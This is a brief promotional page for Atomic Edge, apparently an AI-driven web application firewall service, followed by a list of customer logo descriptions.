Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.